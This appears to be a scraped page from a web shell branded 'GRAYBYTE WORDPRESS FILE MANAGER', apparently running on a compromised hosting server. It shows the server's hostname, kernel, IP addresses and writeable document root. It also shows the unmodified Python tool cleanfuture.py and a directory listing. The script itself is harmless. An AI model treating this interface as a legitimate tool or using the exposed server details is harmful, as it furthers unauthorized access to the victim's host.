✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ beluga.o2switch.net ​🇻​♯➤ 4.18.0-553.123.2.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 185.154.139.77 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.254
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /opt/alt/python34/lib64/python3.4/Tools/scripts//cleanfuture.py
#! /opt/alt/python34/bin/python3.4

"""cleanfuture [-d][-r][-v] path ...

-d  Dry run.  Analyze, but don't make any changes to, files.
-r  Recurse.  Search for all .py files in subdirectories too.
-v  Verbose.  Print informative msgs.

Search Python (.py) files for future statements, and remove the features
from such statements that are already mandatory in the version of Python
you're using.

Pass one or more file and/or directory paths.  When a directory path, all
.py files within the directory will be examined, and, if the -r option is
given, likewise recursively for subdirectories.

Overwrites files in place, renaming the originals with a .bak extension. If
cleanfuture finds nothing to change, the file is left alone.  If cleanfuture
does change a file, the changed file is a fixed-point (i.e., running
cleanfuture on the resulting .py file won't change it again, at least not
until you try it again with a later Python release).

Limitations:  You can do these things, but this tool won't help you then:

+ A future statement cannot be mixed with any other statement on the same
  physical line (separated by semicolon).

+ A future statement cannot contain an "as" clause.

Example:  Assuming you're using Python 2.2, if a file containing

from __future__ import nested_scopes, generators

is analyzed by cleanfuture, the line is rewritten to

from __future__ import generators

because nested_scopes is no longer optional in 2.2 but generators is.
"""

import __future__
import tokenize
import os
import sys

dryrun  = 0
recurse = 0
verbose = 0

def errprint(*args):
    strings = map(str, args)
    msg = ' '.join(strings)
    if msg[-1:] != '\n':
        msg += '\n'
    sys.stderr.write(msg)

def main():
    import getopt
    global verbose, recurse, dryrun
    try:
        opts, args = getopt.getopt(sys.argv[1:], "drv")
    except getopt.error as msg:
        errprint(msg)
        return
    for o, a in opts:
        if o == '-d':
            dryrun += 1
        elif o == '-r':
            recurse += 1
        elif o == '-v':
            verbose += 1
    if not args:
        errprint("Usage:", __doc__)
        return
    for arg in args:
        check(arg)

def check(file):
    if os.path.isdir(file) and not os.path.islink(file):
        if verbose:
            print("listing directory", file)
        names = os.listdir(file)
        for name in names:
            fullname = os.path.join(file, name)
            if ((recurse and os.path.isdir(fullname) and
                 not os.path.islink(fullname))
                or name.lower().endswith(".py")):
                check(fullname)
        return

    if verbose:
        print("checking", file, "...", end=' ')
    try:
        f = open(file)
    except IOError as msg:
        errprint("%r: I/O Error: %s" % (file, str(msg)))
        return

    ff = FutureFinder(f, file)
    changed = ff.run()
    if changed:
        ff.gettherest()
    f.close()
    if changed:
        if verbose:
            print("changed.")
            if dryrun:
                print("But this is a dry run, so leaving it alone.")
        for s, e, line in changed:
            print("%r lines %d-%d" % (file, s+1, e+1))
            for i in range(s, e+1):
                print(ff.lines[i], end=' ')
            if line is None:
                print("-- deleted")
            else:
                print("-- change to:")
                print(line, end=' ')
        if not dryrun:
            bak = file + ".bak"
            if os.path.exists(bak):
                os.remove(bak)
            os.rename(file, bak)
            if verbose:
                print("renamed", file, "to", bak)
            g = open(file, "w")
            ff.write(g)
            g.close()
            if verbose:
                print("wrote new", file)
    else:
        if verbose:
            print("unchanged.")

class FutureFinder:

    def __init__(self, f, fname):
        self.f = f
        self.fname = fname
        self.ateof = 0
        self.lines = [] # raw file lines

        # List of (start_index, end_index, new_line) triples.
        self.changed = []

    # Line-getter for tokenize.
    def getline(self):
        if self.ateof:
            return ""
        line = self.f.readline()
        if line == "":
            self.ateof = 1
        else:
            self.lines.append(line)
        return line

    def run(self):
        STRING = tokenize.STRING
        NL = tokenize.NL
        NEWLINE = tokenize.NEWLINE
        COMMENT = tokenize.COMMENT
        NAME = tokenize.NAME
        OP = tokenize.OP

        changed = self.changed
        get = tokenize.generate_tokens(self.getline).__next__
        type, token, (srow, scol), (erow, ecol), line = get()

        # Chew up initial comments and blank lines (if any).
        while type in (COMMENT, NL, NEWLINE):
            type, token, (srow, scol), (erow, ecol), line = get()

        # Chew up docstring (if any -- and it may be implicitly catenated!).
        while type is STRING:
            type, token, (srow, scol), (erow, ecol), line = get()

        # Analyze the future stmts.
        while 1:
            # Chew up comments and blank lines (if any).
            while type in (COMMENT, NL, NEWLINE):
                type, token, (srow, scol), (erow, ecol), line = get()

            if not (type is NAME and token == "from"):
                break
            startline = srow - 1    # tokenize is one-based
            type, token, (srow, scol), (erow, ecol), line = get()

            if not (type is NAME and token == "__future__"):
                break
            type, token, (srow, scol), (erow, ecol), line = get()

            if not (type is NAME and token == "import"):
                break
            type, token, (srow, scol), (erow, ecol), line = get()

            # Get the list of features.
            features = []
            while type is NAME:
                features.append(token)
                type, token, (srow, scol), (erow, ecol), line = get()

                if not (type is OP and token == ','):
                    break
                type, token, (srow, scol), (erow, ecol), line = get()

            # A trailing comment?
            comment = None
            if type is COMMENT:
                comment = token
                type, token, (srow, scol), (erow, ecol), line = get()

            if type is not NEWLINE:
                errprint("Skipping file %r; can't parse line %d:\n%s" %
                         (self.fname, srow, line))
                return []

            endline = srow - 1

            # Check for obsolete features.
            okfeatures = []
            for f in features:
                object = getattr(__future__, f, None)
                if object is None:
                    # A feature we don't know about yet -- leave it in.
                    # They'll get a compile-time error when they compile
                    # this program, but that's not our job to sort out.
                    okfeatures.append(f)
                else:
                    released = object.getMandatoryRelease()
                    if released is None or released <= sys.version_info:
                        # Withdrawn or obsolete.
                        pass
                    else:
                        okfeatures.append(f)

            # Rewrite the line if at least one future-feature is obsolete.
            if len(okfeatures) < len(features):
                if len(okfeatures) == 0:
                    line = None
                else:
                    line = "from __future__ import "
                    line += ', '.join(okfeatures)
                    if comment is not None:
                        line += ' ' + comment
                    line += '\n'
                changed.append((startline, endline, line))

            # Loop back for more future statements.

        return changed

    def gettherest(self):
        if self.ateof:
            self.therest = ''
        else:
            self.therest = self.f.read()

    def write(self, f):
        changed = self.changed
        assert changed
        # Prevent calling this again.
        self.changed = []
        # Apply changes in reverse order.
        changed.reverse()
        for s, e, line in changed:
            if line is None:
                # pure deletion
                del self.lines[s:e+1]
            else:
                self.lines[s:e+1] = [line]
        f.writelines(self.lines)
        # Copy over the remainder of the file.
        if self.therest:
            f.write(self.therest)

if __name__ == '__main__':
    main()


Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
25 Jul 2024 8.41 AM
root / linksafe
0755
__pycache__
--
25 Jul 2024 8.41 AM
root / linksafe
0755
2to3
0.094 KB
18 Mar 2019 4.51 PM
root / linksafe
0755
README
4.669 KB
18 Mar 2019 4.51 PM
root / linksafe
0644
abitype.py
5.453 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
analyze_dxp.py
4.085 KB
17 Apr 2024 5.09 PM
root / linksafe
0644
byext.py
3.835 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
byteyears.py
1.622 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
checkpip.py
0.793 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
checkpyc.py
2.174 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
cleanfuture.py
8.432 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
combinerefs.py
4.321 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
copytime.py
0.658 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
crlf.py
0.628 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
db2pickle.py
3.557 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
diff.py
2.186 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
dutree.doc
2.188 KB
18 Mar 2019 4.51 PM
root / linksafe
0644
dutree.py
1.581 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
eptags.py
1.461 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
find-uname.py
1.179 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
find_recursionlimit.py
3.908 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
finddiv.py
2.449 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
findlinksto.py
1.057 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
findnocoding.py
2.894 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
fixcid.py
9.766 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
fixdiv.py
13.565 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
fixheader.py
1.19 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
fixnotice.py
2.998 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
fixps.py
0.89 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
get-remote-certificate.py
2.656 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
google.py
0.521 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
gprof2html.py
2.188 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
h2py.py
5.479 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
highlight.py
8.951 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
idle3
0.094 KB
18 Mar 2019 4.51 PM
root / linksafe
0755
ifdef.py
3.644 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
import_diagnostics.py
0.987 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
lfcr.py
0.636 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
linktree.py
2.394 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
lll.py
0.745 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
mailerdaemon.py
7.862 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
make_ctype.py
2.238 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
md5sum.py
2.46 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
mkreal.py
1.604 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
ndiff.py
3.741 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
nm2def.py
2.404 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
objgraph.py
5.851 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
parse_html5_entities.py
3.917 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
parseentities.py
1.665 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
patchcheck.py
6.477 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
pathfix.py
4.772 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
pdeps.py
3.834 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
pickle2db.py
3.938 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
pindent.py
16.736 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
ptags.py
1.208 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
pydoc3
0.078 KB
18 Mar 2019 4.51 PM
root / linksafe
0755
pysource.py
3.785 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
pyvenv
0.227 KB
18 Mar 2019 4.51 PM
root / linksafe
0755
reindent-rst.py
0.272 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
reindent.py
11.256 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
rgrep.py
1.452 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
run_tests.py
1.841 KB
17 Apr 2024 5.09 PM
root / linksafe
0644
serve.py
1.146 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
suff.py
0.509 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
svneol.py
3.422 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
texi2html.py
68.535 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
treesync.py
5.802 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
untabify.py
1.276 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
which.py
1.605 KB
17 Apr 2024 5.09 PM
root / linksafe
0755
win_add2path.py
1.575 KB
17 Apr 2024 5.09 PM
root / linksafe
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF